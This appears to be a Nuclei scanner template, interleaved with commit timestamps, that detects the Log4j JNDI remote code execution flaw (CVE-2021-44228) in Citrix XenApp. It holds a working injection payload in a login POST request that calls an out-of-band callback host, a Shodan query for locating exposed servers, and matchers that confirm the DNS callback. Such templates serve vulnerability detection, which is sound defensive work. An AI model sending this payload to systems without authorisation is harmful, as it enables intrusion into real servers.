2023-10-18 20:00:15 +00:00
id : citrix-xenapp-log4j-rce
info :
name : Citrix XenApp - Remote Code Execution (Apache Log4j)
2023-10-19 07:28:29 +00:00
author : shaikhyaser
2023-10-18 20:00:15 +00:00
severity : critical
description : |
Citrix XenApp is susceptible to Log4j JNDI remote code execution. Citrix Virtual Apps is an application virtualization software produced by Citrix Systems that allows Windows applications to be accessed via individual devices from a shared server or cloud system.
reference :
- https://support.citrix.com/article/CTX335705
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
cve-id : CVE-2021-44228
cwe-id : CWE-77
metadata :
2023-10-19 07:28:29 +00:00
shodan-query : html:"/citrix/xenapp"
2023-10-18 20:00:15 +00:00
max-request : 1
tags : cve,cve2021,rce,jndi,log4j,citrix,oast,kev
2023-10-19 07:28:29 +00:00
2023-10-18 20:00:15 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-10-19 07:28:29 +00:00
str : "{{rand_base(5)}}"
2023-10-18 20:00:15 +00:00
http :
- raw :
- |
POST /Citrix/XenApp/auth/login.aspx HTTP/1.1
Host : {{Hostname}}
Cookie : WIClientInfo="clientConnSecure#false";
Origin : {{RootURL}}
Referer : {{RootURL}}/Citrix/XenApp/auth/login.aspx?CTX_MessageType=WARNING&CTX_MessageKey=NoUsableClientDetected
Content-Type : application/x-www-form-urlencoded
2023-10-19 07:28:29 +00:00
LoginType=Explicit&user=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}
2023-10-18 20:00:15 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol #Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
extractors :
- type : kval
kval :
- interactsh_ip #Print remote interaction IP in output
- type : regex
group : 2
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
part : interactsh_request
- type : regex
group : 1
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part : interactsh_request
2023-10-23 07:42:12 +00:00
# digest: 4a0a00473045022100c4d4e100f9ef4351e42ab430571ad766597b379046d86f137b308280c760e12f02205b3d1c52adccc3b118c9c10dc0d716c7f328f311dd40b4d1413f735d647b829b:922c64590222798bb761d5b6d8e72950